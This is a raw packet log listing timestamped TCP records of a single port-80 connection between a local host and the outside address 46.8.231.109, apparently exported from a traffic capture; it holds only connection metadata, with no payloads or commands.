Oct 7, 2024 03:03:09.670655012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670679092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670679092 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670710087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670756102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670769930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670783997 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670798063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670809984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670809984 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670811892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670828104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670834064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670834064 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670855045 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670877934 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670898914 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670907021 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670921087 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.670929909 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670952082 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.670960903 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671019077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671032906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671047926 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671072960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671072960 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671109915 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671124935 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671140909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671154976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671169043 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671180010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671180010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671190023 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671216011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671309948 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671324968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671339035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671353102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671359062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671359062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671380043 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671391964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671401978 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671406031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671410084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671441078 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671454906 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671471119 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671479940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671511889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671511889 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671588898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671603918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671617985 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671632051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671643019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671643019 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671646118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671668053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671672106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671672106 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671677113 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671684980 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671694040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671701908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.671704054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671704054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671730042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.671796083 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759208918 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759218931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759232998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759241104 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759279013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759287119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759293079 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759300947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759315968 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759325981 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759344101 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759361982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759516954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759555101 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759565115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759572029 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759573936 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759581089 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759589911 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759598970 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759602070 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759608030 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759624958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759632111 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759635925 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759648085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759654045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759674072 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759700060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759871006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759880066 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759895086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759903908 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759917974 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759921074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759926081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759942055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759947062 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759951115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.759979010 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.759999037 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760073900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760082960 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760092020 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760118008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760128975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760200024 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760207891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760220051 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760226965 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760234118 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760242939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760245085 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760251999 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760270119 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760274887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760283947 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760297060 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760304928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760304928 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760323048 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760332108 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760355949 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760515928 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760524035 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760535955 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760543108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760550976 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760557890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760565042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760565996 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760580063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760587931 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760590076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760607958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760623932 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.760942936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760951042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760958910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760966063 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760973930 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.760989904 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761034012 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761101007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761110067 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761122942 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761130095 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761137009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761151075 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761151075 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761158943 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761167049 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761173010 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761174917 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761183977 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761192083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761199951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761204958 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761224031 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761250973 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761506081 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761549950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761693954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761744976 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.761861086 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761869907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.761908054 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762053967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762111902 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762228966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762237072 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762279987 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762335062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762345076 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762351990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762360096 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762367964 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762381077 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762384892 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762389898 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762399912 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762408018 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762463093 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762470007 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762478113 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762484074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762486935 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762495041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762502909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762510061 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762511969 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762644053 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762679100 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762689114 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762825966 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.762902975 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.762999058 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763020992 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763035059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763041973 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763048887 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763071060 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763081074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763087988 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763091087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763096094 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763104916 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763113022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763118982 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763119936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763128042 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763161898 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763246059 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763254881 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763267040 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763276100 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763292074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763302088 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763329029 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763734102 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763741016 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763755083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763762951 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763770103 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.763787985 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.763808966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.849721909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.849848986 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.849855900 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.849869967 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.849872112 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.849879026 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.849900961 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.849931002 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850003958 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850013971 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850027084 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850034952 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850044012 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850060940 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850074053 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850208998 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850215912 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850229025 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850235939 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850250006 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850255966 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850256920 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850269079 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850300074 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850457907 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850466013 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850478888 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850486994 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850492954 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850516081 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850541115 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850608110 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850616932 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850622892 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850630045 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850645065 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850651026 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850651979 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850666046 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850696087 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850764990 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850771904 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850816965 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.850941896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850950956 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850964069 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850972891 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.850996017 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851017952 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851126909 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851134062 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851147890 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851155996 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851172924 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851177931 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851181984 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851202011 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851231098 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851313114 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851320982 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851332903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851340055 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851353884 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851360083 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851363897 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851397038 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851464987 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851474047 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851520061 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851635933 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851644993 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851658106 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851691008 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851705074 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851712942 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851713896 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851753950 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851902962 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851911068 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851922989 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851929903 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851938009 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851946115 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.851959944 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.851977110 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852094889 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852102041 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852116108 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852123022 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852129936 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852138042 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852145910 CEST	80	49731	46.8.231.109	192.168.2.4
Oct 7, 2024 03:03:09.852149963 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852163076 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852193117 CEST	49731	80	192.168.2.4	46.8.231.109
Oct 7, 2024 03:03:09.852328062 CEST	80	49731	46.8.231.109	192.168.2.4
